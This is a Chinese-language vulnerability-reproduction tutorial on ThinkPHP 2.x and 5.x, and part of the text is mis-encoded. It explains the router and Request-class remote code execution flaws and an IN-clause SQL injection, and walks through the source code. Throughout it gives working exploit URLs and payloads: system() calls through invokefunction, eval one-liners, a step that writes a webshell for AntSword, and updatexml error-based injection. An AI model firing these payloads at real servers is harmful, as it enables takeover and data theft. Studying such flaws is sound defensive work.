本篇文章給大家?guī)?lái)了關(guān)于thinkphp的相關(guān)知識(shí),其中主要介紹了關(guān)于thinkphp漏洞復(fù)現(xiàn)的相關(guān)內(nèi)容,下面一起來(lái)看一下,希望對(duì)大家有幫助。
ThinkPHP是一個(gè)免費(fèi)開(kāi)源的,快速的,簡(jiǎn)單的面向?qū)ο蟮膰?guó)產(chǎn)輕量級(jí)PHP開(kāi)發(fā)框架。
ThinkPHP遵循Apache2開(kāi)源協(xié)議發(fā)布,是為了敏捷WEB應(yīng)用開(kāi)發(fā)和簡(jiǎn)化企業(yè)級(jí)應(yīng)用開(kāi)而誕生的,具有免費(fèi)開(kāi)源,快速簡(jiǎn)單及面向?qū)ο蟮缺姸嗟膬?yōu)秀功能和特性。ThinkPHP經(jīng)歷了五年多發(fā)展的同時(shí),在社區(qū)團(tuán)隊(duì)的積極參與下,在易用性,擴(kuò)展性和性能方面不斷優(yōu)化和改進(jìn),眾多的典型案例確??梢苑€(wěn)定用于商業(yè)以及門(mén)戶(hù)的開(kāi)發(fā)。
ThinkPHP借鑒了國(guó)外很多優(yōu)秀的框架和模式,使用面向?qū)ο蟮拈_(kāi)發(fā)結(jié)構(gòu)和MVC模式,采用單一入口模式等。融合了Struts的Action思想和JSP的TagLib(標(biāo)簽庫(kù)),ROR的ORM映射和ActiveRecord模式;封裝了CURD和一些常用操作,在項(xiàng)目配置,類(lèi)庫(kù)導(dǎo)入,模板引擎,查詢(xún)語(yǔ)言,自動(dòng)驗(yàn)證,視圖模型,項(xiàng)目編譯,緩存機(jī)制,SEO支持,分布式數(shù)據(jù)庫(kù),多數(shù)據(jù)庫(kù)連接和切換,認(rèn)證機(jī)制和擴(kuò)展性方面均有獨(dú)特的表現(xiàn)。
立即學(xué)習(xí)“PHP免費(fèi)學(xué)習(xí)筆記(深入)”;
使用ThinkPHP,可以更方便和快捷的開(kāi)發(fā)和部署應(yīng)用。ThinkPHP本身具有很多的原創(chuàng)特性,并且倡導(dǎo)大道至簡(jiǎn),開(kāi)發(fā)由我的開(kāi)發(fā)理念,用最少的代碼完成更多的功能,宗旨就是讓W(xué)EB應(yīng)用開(kāi)發(fā)更簡(jiǎn)單,更快速!
下載ThinkPHP后解壓完成會(huì)形成兩個(gè)文件夾:ThinkPHP和Examples。
ThinkPHP無(wú)需單獨(dú)安裝,將ThinkPHP文件夾FTP至服務(wù)器Web目錄或拷貝至本地Web目錄下面即可。
ThinkPHP.php:框架入口文件
Common:包含框架的一些公共文件,系統(tǒng)定義,系統(tǒng)函數(shù)和慣例配置等
Conf:框架配置文件目錄
Lang:系統(tǒng)語(yǔ)言文件目錄
Lib:系統(tǒng)基類(lèi)庫(kù)目錄
Tpl:系統(tǒng)模板目錄
Extend:框架擴(kuò)展s
thinkphp可以支持Windows/Unix服務(wù)器環(huán)境,可以運(yùn)行包括Apache,IIS和nginx在內(nèi)的多種WEB服務(wù)器和多種模式。需要PHP5.2.0以上版本支持,支持MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多種數(shù)據(jù)庫(kù)和連接。
ThinkPHP本身沒(méi)有什么特別模塊要求,具體的應(yīng)用系統(tǒng)運(yùn)行環(huán)境要求視開(kāi)發(fā)所涉及的模塊。ThinkPHP底層運(yùn)行的內(nèi)存消耗極低,而本身的文件大小也是輕量級(jí),因此不會(huì)出現(xiàn)空間和內(nèi)存占用的瓶頸。
preg_replace函數(shù):
preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = - 1 [ , int &$count ]])
搜索subject中匹配pattern的部分,以replacement進(jìn)行替換。
$pattern:要搜索的模式,可以是字符串或者一個(gè)字符串?dāng)?shù)組
$replacement:用于替換的字符串或者數(shù)組
$subject:用于替換的目標(biāo)字符串或者數(shù)組
$limit:可選,對(duì)于每個(gè)模式用于每個(gè)subject字符串的最大可替換數(shù)。默認(rèn)是-1
$count:可選·,為替換執(zhí)行的次數(shù)
返回值:
如果subject為一個(gè)數(shù)組,則返回一個(gè)數(shù)組,其他情況下返回一個(gè)字符串。
如果匹配被查找到,替換后的subject被返回,其他情況下,返回沒(méi)有改變的 subject,如果發(fā)生錯(cuò)誤返回NULL
正則表達(dá)式:https://www.runoob.com/regexp/regexp-syntax.html
訪問(wèn)頁(yè)面,發(fā)現(xiàn)是一個(gè)Thinkphp的cms框架,由于是漏洞復(fù)現(xiàn),我們很清楚的知道他的版本是2.x。如果不知道版本的可以通過(guò)亂輸入徑進(jìn)行報(bào)錯(cuò),或是使用云悉指紋識(shí)別進(jìn)行檢測(cè)
此時(shí)輸入已經(jīng)爆出的遠(yuǎn)程代碼執(zhí)行命令即可浮現(xiàn)漏洞:
/index.php?s=/index/index/xxx/${@phpinfo()} //phpinfo敏感文件 /index.php?s=a/b/c/${@print(eval($_POST[1]))} //此為一句話連菜刀
這里只要將phpinfo()換成一句話木馬即可成功!
1)通過(guò)觀察這句話,我們可以清楚的知道它是將
${@phpinfo()}
作為變量輸出到了頁(yè)面顯示,其原理,我通過(guò)freebuf總結(jié)一下:
在PHP當(dāng)中, ${} 是可以構(gòu)造一個(gè)變量的, {} 寫(xiě)的是一般字符,那么就會(huì)被當(dāng)作成變量,比如 ${a} 等價(jià)于 $a
thinkphp所有的主入口文件默認(rèn)訪問(wèn)index控制器(模塊)
thinkphp所有的控制器默認(rèn)執(zhí)行index動(dòng)作(方法)
http://serverName/index.php(或者其它應(yīng)用入口文件)?s=/模塊/控制器/操作/[參數(shù)名/參數(shù)值...]
數(shù)組$var在路徑存在模塊和動(dòng)作時(shí),會(huì)去除前面兩個(gè)值。而數(shù)組$var來(lái)自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。
所以我們構(gòu)造poc如下:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}.......
2)換而言之,就是在thinphp的類(lèi)似于MVC的框架中,存在一個(gè)Dispatcher.class.php的文件,它規(guī)定了如何解析路由,在該文件中,存在一個(gè)函數(shù)為static public function dispatch(),此為URL映射控制器,是為了將URL訪問(wèn)的路徑映射到該控制器下獲取資源的,而當(dāng)我們輸入的URL作為變量傳入時(shí),該URL映射控制器會(huì)將變量以數(shù)組的方式獲取出來(lái),從而導(dǎo)致漏洞的產(chǎn)生。
類(lèi)名為`Dispatcher`,class Dispatcher extends Think 里面的方法有: static public function dispatch() URL映射到控制器 public static function getPathInfo() 獲得服務(wù)器的PATH_INFO信息 static public function routerCheck() 路由檢測(cè) static private function parseUrl($route) static private function getModule($var) 獲得實(shí)際的模塊名稱(chēng) static private function getGroup($var) 獲得實(shí)際的分組名稱(chēng)
漏洞簡(jiǎn)介
ThinkPHP 5.x主要分為 5.0.x和5.1.x兩個(gè)系列,系列不同,復(fù)現(xiàn)漏洞時(shí)也稍有不同。
在ThinkPHP 5.x中造成rce(遠(yuǎn)程命令執(zhí)行)有兩種原因
1.路由對(duì)于控制器名控制不嚴(yán)謹(jǐn)導(dǎo)致RCE、
2.Request類(lèi)對(duì)于調(diào)用方法控制不嚴(yán)謹(jǐn)加上變量覆蓋導(dǎo)致RCE
首先記錄這兩個(gè)主要POC:
控制器名未過(guò)濾導(dǎo)致rce
function為反射調(diào)用的函數(shù),vars[0]為傳入的回調(diào)函數(shù),vars[1][]為參數(shù)為回調(diào)函數(shù)的參數(shù)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
核心類(lèi)Request遠(yuǎn)程代碼執(zhí)行漏洞
filter[]為回調(diào)函數(shù),get[]或route[]或server[REQUEST_METHOD]為回調(diào)函數(shù)的參數(shù),執(zhí)行回調(diào)函數(shù)的函數(shù)為call_user_func()
核心版需要開(kāi)啟debug模式
POST /index.php?s=captch
_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_ method=_construct&method=get&filter[]=system&get[]=pwd
控制器名未過(guò)濾導(dǎo)致RCE
0x01 簡(jiǎn)介
2018年12月9日,ThinkPHP v5系列發(fā)布安全更新v5.0.23,修復(fù)了一處可導(dǎo)致遠(yuǎn)程代碼執(zhí)行的嚴(yán)重漏洞。在官方公布了修復(fù)記錄后,才出現(xiàn)的漏洞利用方式,不過(guò)不排除很早之前已經(jīng)有人使用了0day
該漏洞出現(xiàn)的原因在于ThinkPHP5框架底層對(duì)控制器名過(guò)濾不嚴(yán),從而讓攻擊者可以通過(guò)url調(diào)用到ThinkPHP框架內(nèi)部的敏感函數(shù),進(jìn)而導(dǎo)致getshell漏洞
最終確定漏洞影響版本為:
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
理解該漏洞的關(guān)鍵在于理解ThinkPHP5的路由處理方式主要分為有配置路由和未配置路由的情況,在未配置路由的情況,ThinkPHP5將通過(guò)下面格式進(jìn)行解析URL
http://serverName/index.php(或者其它應(yīng)用入口文件)/模塊/控制器/操作/[參數(shù)名/參數(shù)值...]
同時(shí)在兼容模式下ThinkPHP還支持以下格式解析URL:
http://serverName/index.php(或者其它應(yīng)用入口文件)?s=/模塊/控制器/操作/[參數(shù)名/參數(shù)值...](參數(shù)以PATH_INFO傳入) http://serverName/index.php(或者其它應(yīng)用入口文件)?s=/模塊/控制器/操作/[&參數(shù)名=參數(shù)值...] (參數(shù)以傳統(tǒng)方式傳入)
eg: http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7 http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8
本次漏洞就產(chǎn)生在未匹配到路由的情況下,使用兼容模式解析url時(shí),通過(guò)構(gòu)造特殊url,調(diào)用意外的控制器中敏感函數(shù),從而執(zhí)行敏感操作
下面通過(guò)代碼具體解析ThinkPHP的路由解析流程
0x02 路由處理邏輯詳細(xì)分析
分析版本: 5.0.22
跟蹤路由處理的邏輯,來(lái)完整看一下該漏洞的整體調(diào)用鏈:
thinkphp/library/think/App.php
116行,通過(guò)routeCheck()方法開(kāi)始進(jìn)行url路由檢測(cè)
在routeCheck()中,首先提取$path信息,這里獲取$path的方式分別為pathinfo模式和兼容模式,pathinfo模式就是通過(guò)$_SERVER['PATH_INFO']獲取到的主要path信息,==$_SERVER['PATH_INFO']會(huì)自動(dòng)將URL中的""替換為"/",導(dǎo)致破壞命名空間格式==,==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的信息會(huì)通過(guò)get的方式獲取,var_pathinfo的值默認(rèn)為's',從而繞過(guò)了反斜杠的替換==,這里也是該漏洞的一個(gè)關(guān)鍵利用點(diǎn)
檢測(cè)邏輯:如果開(kāi)啟了路由檢測(cè)模式(配置文件中的url_on為true),則進(jìn)入路由檢測(cè),結(jié)果返回給$result,如果路由無(wú)效且設(shè)置了只允許路由檢測(cè)模式(配置文件url_route_must為true),則拋出異常。
在兼容模式中,檢測(cè)到路由無(wú)效后(false === $result),則還會(huì)進(jìn)入Route::parseUrl()檢測(cè)路由。我們重點(diǎn)關(guān)注這個(gè)路由解析方式,因?yàn)樵摲绞轿覀兺ㄟ^(guò)URL可控:
放回最終的路由檢測(cè)結(jié)果$result($dispath),交給exec執(zhí)行:
$dispatch = self::routeCheck($request, $config);//line:116 $data = self::exec($dispatch, $config);//line:139 public static function routeCheck($request, array $config)//line:624-658 { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false; // 路由檢測(cè) $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; if ($check) { // 開(kāi)啟路由 …… // 路由檢測(cè)(根據(jù)路由定義返回不同的URL調(diào)度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; if ($must && false === $result) { // 路由無(wú)效 throw new RouteNotFoundException(); } } // 路由無(wú)效 解析模塊/控制器/操作/參數(shù)... 支持控制器自動(dòng)搜索 if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); } return $result; }
thinkphp/libary/think/Route.php
跟蹤Route::parseUrl(),在注釋中可以看到大概解析方式
$url主要同通過(guò)parseUrlPath()解析,跟蹤該函數(shù)發(fā)現(xiàn)程序通過(guò)斜杠/來(lái)劃分模塊/控制器/操作,結(jié)果為數(shù)組形式,然后將他們封裝為$route,最終返回['type'=>'moudle','moudle'=>$route]數(shù)組,作為App.php中$dispatch1值,并傳入exec()函數(shù)中
注意這里使用的時(shí) 斜杠/來(lái)劃分每個(gè)部分,我們的控制器可以通過(guò)命名空間來(lái)調(diào)用,命名空間使用反斜杠\來(lái)劃分,正好錯(cuò)過(guò),這也是能利用的其中一個(gè)細(xì)節(jié)
/** * 解析模塊的URL地址 [模塊/控制器/操作?]參數(shù)1=值1&參數(shù)2=值2... * @access public * @param string $url URL地址 * @param string $depr URL分隔符 * @param bool $autoSearch 是否自動(dòng)深度搜索控制器 * @return array */ public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276 { $url = str_replace($depr, '|', $url); list($path, $var) = self::parseUrlPath($url); //解析URL的pathinfo參數(shù)和變量 $route = [null, null, null]; if (isset($path)) { // 解析模塊,依次得到$module, $controller, $action …… // 封裝路由 $route = [$module, $controller, $action]; } return ['type' => 'module', 'module' => $route]; }
thinkphp/library/think/Route.php
private static function parseUrlPath($url)//line:1284-1302 { // 分隔符替換 確保路由定義使用統(tǒng)一的分隔符 $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { // [模塊/控制器/操作?]參數(shù)1=值1&參數(shù)2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模塊/控制器/操作] $path = explode('/', $url); } else { $path = [$url]; } return [$path, $var]; }
路由解析結(jié)果作為exec()的參數(shù)進(jìn)行執(zhí)行,追蹤該函數(shù)
thinkphp/library/think/App.php
追蹤exec()函數(shù),傳入了$dispatch,$config兩個(gè)參數(shù),其中$dispatch為['type' => 'module', 'module' => $route]
因?yàn)?type 為 module,直接進(jìn)入對(duì)應(yīng)流程,然后執(zhí)行module方法,其中傳入的參數(shù)$dispatch['module']為模塊\控制器\操作組成的數(shù)組
跟蹤module()方法,主要通過(guò)$dispatch['module']獲取模塊$module, 控制器$controller, 操作$action,可以看到==提取過(guò)程中除了做小寫(xiě)轉(zhuǎn)換,沒(méi)有做其他過(guò)濾操作==
$controller將通過(guò)Loader::controller自動(dòng)加載,這是ThinkPHP的自動(dòng)加載機(jī)制,只用知道此步會(huì)加載我們需要的控制器代碼,如果控制器不存在會(huì)拋出異常,加載成功會(huì)返回$instance,這應(yīng)該就是控制器類(lèi)的實(shí)例化對(duì)象,里面保存的有控制器的文件路徑,命名空間等信息
通過(guò)is_callable([$instance, $action])方法判斷$action是否是$instance中可調(diào)用的方法
通過(guò)判斷后,會(huì)記錄$instacne,$action到$call中($call = [$instance, $action]),方便后續(xù)調(diào)用,并更新當(dāng)前$request對(duì)象的action
最后$call將被傳入self::invokeMethod($call, $vars)
protected static function exec($dispatch, $config)//line:445-483 { switch ($dispatch['type']) { …… case 'module': // 模塊/控制器/操作 $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; …… default: throw new \InvalidArgumentException('dispatch type not support'); } return $data; } public static function module($result, $config, $convert = null)//line:494-608 { …… if ($config['app_multi_module']) { // 多模塊部署 // 獲取模塊名 $module = strip_tags(strtolower($result[0] ?: $config['default_module'])); …… } …… // 獲取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller; // 獲取操作名 $actionName = strip_tags($result[2] ?: $config['default_action']); if (!empty($config['action_convert'])) { $actionName = Loader::parseName($actionName, 1); } else { $actionName = $convert ? strtolower($actionName) : $actionName; } // 設(shè)置當(dāng)前請(qǐng)求的控制器、操作 $request->controller(Loader::parseName($controller, 1))->action($actionName); …… try { $instance = Loader::controller( $controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller'] ); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); } // 獲取當(dāng)前操作名 $action = $actionName . $config['action_suffix']; $vars = []; if (is_callable([$instance, $action])) { // 執(zhí)行操作方法 $call = [$instance, $action]; // 嚴(yán)格獲取當(dāng)前操作方法名 $reflect = new \ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } Hook::listen('action_begin', $call); return self::invokeMethod($call, $vars); }
先提前看下5.0.23的修復(fù)情況,找到對(duì)應(yīng)的commit,對(duì)傳入的控制器名做了限制
thinkphp/library/think/App.php
跟蹤invokeMethod,其中 $method = $call = [$instance, $action]
通過(guò)實(shí)例化反射對(duì)象控制$instace的$action方法,即控制器類(lèi)中操作方法
中間還有一個(gè)綁定參數(shù)的操作
最后利用反射執(zhí)行對(duì)應(yīng)的操作
public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); } else { // 靜態(tài)方法 $reflect = new \ReflectionMethod($method); } $args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args); }
以上便是ThinkPHP5.0完整的路由檢測(cè),
0x03 弱點(diǎn)利用
如上我們知道,url 路由檢測(cè)過(guò)程并沒(méi)有對(duì)輸入有過(guò)濾,我們也知道通過(guò)url構(gòu)造的模塊/控制器/操作主要來(lái)調(diào)用對(duì)應(yīng)模塊->對(duì)應(yīng)的類(lèi)->對(duì)應(yīng)的方法,而這些參數(shù)通過(guò)url可控,我們便有可能操控程序中的所有控制器的代碼,接下來(lái)的任務(wù)便是尋找敏感的操作
thinkphp/library/think/App.php
public static function invokeFunction($function, $vars = [])//line:311-320 { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 記錄執(zhí)行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
該函數(shù)通過(guò)ReflectionFunction()反射調(diào)用程序中的函數(shù),這就是一個(gè)很好利用的點(diǎn),我們通過(guò)該函數(shù)可以調(diào)用系統(tǒng)中的各種敏感函數(shù)。
找到利用點(diǎn)了,現(xiàn)在就需要來(lái)構(gòu)造poc,首先觸發(fā)點(diǎn)在thinkphp/library/think/App.php中的invokeFunction,我們需要構(gòu)造url格式為模塊\控制器\操作
模塊我們用默認(rèn)模塊index即可,首先大多數(shù)網(wǎng)站都有這個(gè)模塊,而且每個(gè)模塊都會(huì)加載app.php文件,無(wú)須擔(dān)心模塊的選擇
該文件的命名空間為think,類(lèi)名為app,我們的控制器便可以構(gòu)造成\think\app。因?yàn)門(mén)hinkPHP使用的自動(dòng)加載機(jī)制會(huì)識(shí)別命名空間,這么構(gòu)造是沒(méi)有問(wèn)題的。
操作直接為invokeFunction,沒(méi)有疑問(wèn)
參數(shù)方面,我們首先要觸發(fā)第一個(gè)調(diào)用函數(shù),簡(jiǎn)化一下代碼再分析一下:
第一行確定 $class 就是我們傳入的控制器\think\app實(shí)例化后的對(duì)象
第二行綁定我們的方法,也就是invokefunction
第三方就可以調(diào)用這個(gè)方法了,其中$args是我們的參數(shù),通過(guò)url構(gòu)造,將會(huì)傳入到invokefunction中
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); return $reflect->invokeArgs(isset($class) ? $class : null, $args);
然后就進(jìn)入我們的invokefunctio,該函數(shù)需要什么參數(shù),我們就構(gòu)造什么參數(shù),首先構(gòu)造一個(gè)調(diào)用函數(shù)function=call_user_func_array
call_user_func_array需要兩個(gè)參數(shù),第一個(gè)參數(shù)為函數(shù)名,第二個(gè)參數(shù)為數(shù)組,var[0]=system,var[1][0]=id
這里因?yàn)閮纱畏瓷湟淮位卣{(diào)調(diào)用需要好好捋一捋。。。。
復(fù)現(xiàn)成功
0x01 漏洞原理
ThinkPHP是一款運(yùn)用極廣的PHP開(kāi)發(fā)框架,其版本5中,由于沒(méi)有使用正確的控制器名,導(dǎo)致在網(wǎng)站沒(méi)有開(kāi)啟強(qiáng)制路由的情況下(即默認(rèn)情況下),可以執(zhí)行任意方法,從而導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。
0x02 漏洞影響版本
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
0x03 漏洞復(fù)現(xiàn)
可以利用點(diǎn):
http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
vars[0]用來(lái)接受函數(shù)名,vars[1][]用來(lái)接收參數(shù)
如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27
會(huì)在屏幕上打出123和我們輸入的字符串長(zhǎng)度
寫(xiě)入一句話木馬getshell
使用file_put_contents函數(shù)寫(xiě)入shell:
vars[0]=system&vars[1][]=echo%20"">>test.php
使用蟻劍成功getshell!
0x01 了解的知識(shí):
pdo預(yù)編譯:
當(dāng)我們使用mysql語(yǔ)句進(jìn)行數(shù)據(jù)查詢(xún)時(shí),數(shù)據(jù)首先傳入計(jì)算機(jī),計(jì)算機(jī)進(jìn)行編譯之后傳入數(shù)據(jù)庫(kù)進(jìn)行數(shù)據(jù)查詢(xún)
(我們使用的是高級(jí)語(yǔ)言,計(jì)算機(jī)無(wú)法直接理解執(zhí)行,所以我們將命令或請(qǐng)求傳入計(jì)算機(jī)時(shí),計(jì)算機(jī)首先將我們的語(yǔ)句編譯成為計(jì)算機(jī)語(yǔ)言,之后再進(jìn)行執(zhí)行,所以如果不編譯直接執(zhí)行計(jì)算機(jī)是無(wú)法理解的,如傳入select函數(shù),沒(méi)編譯之前計(jì)算機(jī)只認(rèn)為這是五個(gè)字符,而無(wú)法理解這是個(gè)查詢(xún)函數(shù))
如此說(shuō)來(lái),我們每次查詢(xún)時(shí)都需要先編譯,這樣會(huì)加大成本,并且會(huì)存在sql注入的可能,所以有一定危險(xiǎn)。
如此,我們進(jìn)行查詢(xún)數(shù)據(jù)庫(kù)數(shù)據(jù)時(shí)使用預(yù)編譯,例如:
select ? from security where tables=?
此語(yǔ)句中?代表占位符,在pdo中表示之后綁定的數(shù)據(jù),此時(shí)無(wú)法確定具體值
用戶(hù)在傳入查詢(xún)具體數(shù)值時(shí),計(jì)算機(jī)首先將以上的查詢(xún)語(yǔ)句進(jìn)行編譯,使其具有執(zhí)行力,之后再對(duì)于?代表的具體數(shù)值就不進(jìn)行編譯而直接進(jìn)行查詢(xún),所以我們?cè)?處利用sql注入語(yǔ)句代替時(shí),就不具有任何效力,甚至傳入字符串時(shí)還會(huì)報(bào)錯(cuò),而預(yù)編譯還可以節(jié)省成本,即上面語(yǔ)句除了查詢(xún)數(shù)值只編譯一次,之后進(jìn)行相同語(yǔ)句查詢(xún)時(shí)直接使用,只是查詢(xún)具體數(shù)值改變。所以這種預(yù)編譯的方式可以很好的防止sql注入。
漏洞上下文如下:
<?php namespace app\index\controller; use app\index\model\User; class Index { public function index() { $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select(); } }
如上述代碼,如果我們控制了in語(yǔ)句的值位置,即可通過(guò)傳入一個(gè)數(shù)組,來(lái)造成SQL注入漏洞。
文中已有分析,我就不多說(shuō)了,但說(shuō)一下為什么這是一個(gè)SQL注入漏洞。IN操作代碼如下:
<?php ... $bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field); if (preg_match('/\W/', $bindName)) { // 處理帶非單詞字符的字段名 $bindName = md5($bindName); } ... } elseif (in_array($exp, ['NOT IN', 'IN'])) { // IN 查詢(xún) if ($value instanceof \Closure) { $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value); } else { $value = is_array($value) ? $value : explode(',', $value); if (array_key_exists($field, $binds)) { $bind = []; $array = []; foreach ($value as $k => $v) { if ($this->query->isBind($bindName . '_in_' . $k)) { $bindKey = $bindName . '_in_' . uniqid() . '_' . $k; } else { $bindKey = $bindName . '_in_' . $k; } $bind[$bindKey] = [$v, $bindType]; $array[] = ':' . $bindKey; } $this->query->bind($bind); $zone = implode(',', $array); } else { $zone = implode(',', $this->parseValue($value, $field)); } $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')'; }
可見(jiàn),$bindName在前邊進(jìn)行了一次檢測(cè),正常來(lái)說(shuō)是不會(huì)出現(xiàn)漏洞的。但如果$value是一個(gè)數(shù)組的情況下,這里會(huì)遍歷$value,并將$k拼接進(jìn)$bindName。
也就是說(shuō),我們控制了預(yù)編譯SQL語(yǔ)句中的鍵名,也就說(shuō)我們控制了預(yù)編譯的SQL語(yǔ)句,這理論上是一個(gè)SQL注入漏洞。那么,為什么原文中說(shuō)測(cè)試SQL注入失敗呢?
這就是涉及到預(yù)編譯的執(zhí)行過(guò)程了。通常,PDO預(yù)編譯執(zhí)行過(guò)程分三步:
prepare($SQL)編譯SQL語(yǔ)句
bindValue($param, $value)將value綁定到param的位置上
execute()執(zhí)行
這個(gè)漏洞實(shí)際上就是控制了第二步的$param變量,這個(gè)變量如果是一個(gè)SQL語(yǔ)句的話,那么在第二步的時(shí)候是會(huì)拋出錯(cuò)誤的:
所以,這個(gè)錯(cuò)誤“似乎”導(dǎo)致整個(gè)過(guò)程執(zhí)行不到第三步,也就沒(méi)法進(jìn)行注入了。
但實(shí)際上,在預(yù)編譯的時(shí)候,也就是第一步即可利用。我們可以做有一個(gè)實(shí)驗(yàn)。編寫(xiě)如下代碼:
<?php $params = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_EMULATE_PREPARES => false, ]; $db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params); try { $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))'); } catch (\PDOException $e) { var_dump($e); }
執(zhí)行發(fā)現(xiàn),雖然我只調(diào)用了prepare函數(shù),但原SQL語(yǔ)句中的報(bào)錯(cuò)已經(jīng)成功執(zhí)行:
究其原因,是因?yàn)槲疫@里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。
這個(gè)選項(xiàng)涉及到PDO的“預(yù)處理”機(jī)制:因?yàn)椴皇撬袛?shù)據(jù)庫(kù)驅(qū)動(dòng)都支持SQL預(yù)編譯,所以PDO存在“模擬預(yù)處理機(jī)制”。如果說(shuō)開(kāi)啟了模擬預(yù)處理,那么PDO內(nèi)部會(huì)模擬參數(shù)綁定的過(guò)程,SQL語(yǔ)句是在最后execute()的時(shí)候才發(fā)送給數(shù)據(jù)庫(kù)執(zhí)行;如果我這里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會(huì)模擬預(yù)處理,參數(shù)化綁定的整個(gè)過(guò)程都是和Mysql交互進(jìn)行的。
非模擬預(yù)處理的情況下,參數(shù)化綁定過(guò)程分兩步:第一步是prepare階段,發(fā)送帶有占位符的sql語(yǔ)句到mysql服務(wù)器(parsing->resolution),第二步是多次發(fā)送占位符參數(shù)給mysql服務(wù)器進(jìn)行執(zhí)行(多次執(zhí)行optimization->execution)。
這時(shí),假設(shè)在第一步執(zhí)行prepare($SQL)的時(shí)候我的SQL語(yǔ)句就出現(xiàn)錯(cuò)誤了,那么就會(huì)直接由mysql那邊拋出異常,不會(huì)再執(zhí)行第二步。我們看看ThinkPHP5的默認(rèn)配置:
... // PDO連接參數(shù) protected $params = [ PDO::ATTR_CASE => PDO::CASE_NATURAL, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, PDO::ATTR_STRINGIFY_FETCHES => false, PDO::ATTR_EMULATE_PREPARES => false, ]; ...
可見(jiàn),這里的確設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構(gòu)造如下POC,即可利用報(bào)錯(cuò)注入,獲取user()信息:
http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是,如果你將user()改成一個(gè)子查詢(xún)語(yǔ)句,那么結(jié)果又會(huì)爆出Invalid parameter number: parameter was not defined的錯(cuò)誤。因?yàn)闆](méi)有過(guò)多研究,說(shuō)一下我猜測(cè):預(yù)編譯的確是mysql服務(wù)端進(jìn)行的,但是預(yù)編譯的過(guò)程是不接觸數(shù)據(jù)的 ,也就是說(shuō)不會(huì)從表中將真實(shí)數(shù)據(jù)取出來(lái),所以使用子查詢(xún)的情況下不會(huì)觸發(fā)報(bào)錯(cuò);雖然預(yù)編譯的過(guò)程不接觸數(shù)據(jù),但類(lèi)似user()這樣的數(shù)據(jù)庫(kù)函數(shù)的值還是將會(huì)編譯進(jìn)SQL語(yǔ)句,所以這里執(zhí)行并爆了出來(lái)。
其實(shí)ThinkPH框架漏洞大多用到的都是設(shè)置對(duì)于控制器名的一個(gè)疏忽問(wèn)題,不理解的小伙伴可以查來(lái)url調(diào)用文件的機(jī)制來(lái)學(xué)習(xí)一下,其實(shí)這些框架漏洞都是基于基礎(chǔ)漏洞的一些拓展,至于sql漏洞,了解一下pdo預(yù)編譯原理即可。
